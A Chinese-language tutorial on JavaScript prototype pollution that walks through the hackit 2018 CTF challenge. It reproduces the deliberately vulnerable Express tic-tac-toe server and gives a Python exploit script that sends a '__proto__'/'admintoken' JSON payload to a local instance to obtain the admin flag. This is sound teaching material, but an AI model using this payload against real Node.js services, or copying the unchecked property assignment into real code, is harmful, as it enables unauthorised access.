网络安全-原型链污染

目录

一、简单介绍一下原型链

二、举个例子

三、那原型链污染是什么呢

[四、我们来看一道题-hackit 2018](#四、我们来看一道题-hackit 2018)

[4.1 环境](#4.1 环境)

4.2开始解题

[4.3 解答：](#4.3 解答：)

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一、简单介绍一下原型链

JavaScript 常被描述为一种基于原型的语言 (prototype-based language)------每个对象拥有一个原型对象，对象以其原型为模板、从原型继承方法和属性。原型对象也可能拥有原型，并从中继承方法和属性，一层一层、以此类推。这种关系常被称为原型链 (prototype chain)。

二、举个例子

描述一下:

function Father() {
    this.first_name = 'Donald'
    this.last_name = 'Trump'
}

function Son() {
    this.first_name = 'Melania'
}

Son.prototype = new Father()

let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)

Son类继承了Father类的last_name属性，最后输出的是Name: Melania Trump。

总结一下，对于对象son，在调用son.last_name的时候，实际上JavaScript引擎会进行如下操作：

1. 在对象son中寻找last_name

2. 如果找不到，则在son.__proto__中寻找last_name

3. 如果仍然找不到，则继续在son.__proto__.__proto__中寻找last_name

4. 依次寻找，直到找到null结束。比如，Object.prototype的__proto__就是null

三、那原型链污染是什么呢

foo.__proto__指向的是Foo类的prototype。那么，如果我们修改了foo.__proto__中的值，是不是就可以修改Foo类呢？

我们做一个简单的实验

// foo是一个简单的JavaScript对象
let foo = {bar: 1}

// foo.bar 此时为1
console.log(foo.bar)

// 修改foo的原型（即Object）
foo.__proto__.bar = 2

// 由于查找顺序的原因，foo.bar仍然是1
console.log(foo.bar)

// 此时再用Object创建一个空的zoo对象
let zoo = {}

// 查看zoo.bar
console.log(zoo.bar)

结果:

原因也显而易见：因为前面我们修改了foo的原型foo.__proto__.bar = 2，而foo是一个Object类的实例，所以实际上是修改了Object这个类，给这个类增加了一个属性bar，值为2。

后来，我们又用Object类创建了一个zoo对象let zoo = {}，zoo对象自然也有一个bar属性了。

那么，在一个应用中，如果攻击者控制并修改了一个对象的原型，那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染。

四、我们来看一道题-hackit 2018

4.1 环境

我们将代码复制到js文件中，随便写个js，之后在官网下载node.js

const express = require('express')
var hbs = require('hbs');
var bodyParser = require('body-parser');
const md5 = require('md5');
var morganBody = require('morgan-body');
const app = express();
var user = []; //empty for now

var matrix = [];
for (var i = 0; i < 3; i++){
    matrix[i] = [null , null, null];
}

function draw(mat) {
    var count = 0;
    for (var i = 0; i < 3; i++){
        for (var j = 0; j < 3; j++){
            if (matrix[i][j] !== null){
                count += 1;
            }
        }
    }
    return count === 9;
}

app.use(express.static('public'));
app.use(bodyParser.json());
app.set('view engine', 'html');
morganBody(app);
app.engine('html', require('hbs').__express);

app.get('/', (req, res) => {

    for (var i = 0; i < 3; i++){
        matrix[i] = [null , null, null];

    }
    res.render('index');
})


app.get('/admin', (req, res) => { 
    /*this is under development I guess ??*/
    console.log(user.admintoken);
    if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
        res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');
    } 
    else {
        res.status(403).send('Forbidden');
    }    
}
)


app.post('/api', (req, res) => {
    var client = req.body;
    var winner = null;

    if (client.row > 3 || client.col > 3){
        client.row %= 3;
        client.col %= 3;
    }
    matrix[client.row][client.col] = client.data;
    for(var i = 0; i < 3; i++){
        if (matrix[i][0] === matrix[i][1] && matrix[i][1] === matrix[i][2] ){
            if (matrix[i][0] === 'X') {
                winner = 1;
            }
            else if(matrix[i][0] === 'O') {
                winner = 2;
            }
        }
        if (matrix[0][i] === matrix[1][i] && matrix[1][i] === matrix[2][i]){
            if (matrix[0][i] === 'X') {
                winner = 1;
            }
            else if(matrix[0][i] === 'O') {
                winner = 2;
            }
        }
    }

    if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'X'){
        winner = 1;
    }
    if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'O'){
        winner = 2;
    } 

    if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'X'){
        winner = 1;
    }
    if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'O'){
        winner = 2;
    }

    if (draw(matrix) && winner === null){
        res.send(JSON.stringify({winner: 0}))
    }
    else if (winner !== null) {
        res.send(JSON.stringify({winner: winner}))
    }
    else {
        res.send(JSON.stringify({winner: -1}))
    }

})
app.listen(3000, () => {
    console.log('app listening on port 3000!')
})

写一个相应的js拉取包，如下package.json

{
    "name": "my-node-app",
    "version": "1.0.0",
    "description": "A simple Node.js app for tic-tac-toe game with express, hbs, and md5.",
    "main": "app.js",
    "scripts": {
      "start": "node app.js"
    },
    "dependencies": {
      "body-parser": "^1.20.2",
      "express": "^4.18.2",
      "hbs": "^4.2.0",
      "md5": "^2.3.0",
      "morgan-body": "^2.6.9"
    },
    "author": "",
    "license": "ISC"
  }

之后换源为淘宝源后拉取相应的npm包

之后启动它就会自己监听到3000端口了

4.2开始解题

它定义了一个空数组然后给了三个null

继续分析，获取flag的条件是 传入的querytoken要和user数组本身的admintoken的MD5值相等，且二者都要存在 ，三个条件不符合的情况下就会给你返回一个Forbidden

解决方法：如果还有一个数组可以在admintoken值之前修改它祖先的值，而这个user没有值，但是它可以往上找，使得admintoken有值，自然就造成了原型链污染

那我们就需要去找用户可控的点，那找到了body，row，col，如何利用?

使用方法就是data得有值，而我们通过定位metrix发现它也是一个数组，user也是一个数组，那很明显在metrix上定义的原型链，user肯定可以找到，那现在如何在原型链定义

下面我们先本地测试一下:很明显我们将第一个属性放到row=proto，第二个属性col=admintoken，约等于我们没用点去取，而是用了数组

4.3 解答：

import requests
import json

url1 = "http://127.0.0.1:3000/api"
url2 = "http://127.0.0.1:3000/admin?querytoken=a3c23537bfc1e2da4a511661547d65fb"

s = requests.session()

headers = {"Content-Type": "application/json"}
data1 = {"row":"__proto__","col":"admintoken","data":"sunsec"}

res1 = s.post(url1, headers=headers, data=json.dumps(data1))
res2 = s.get(url2)

print(res2.text)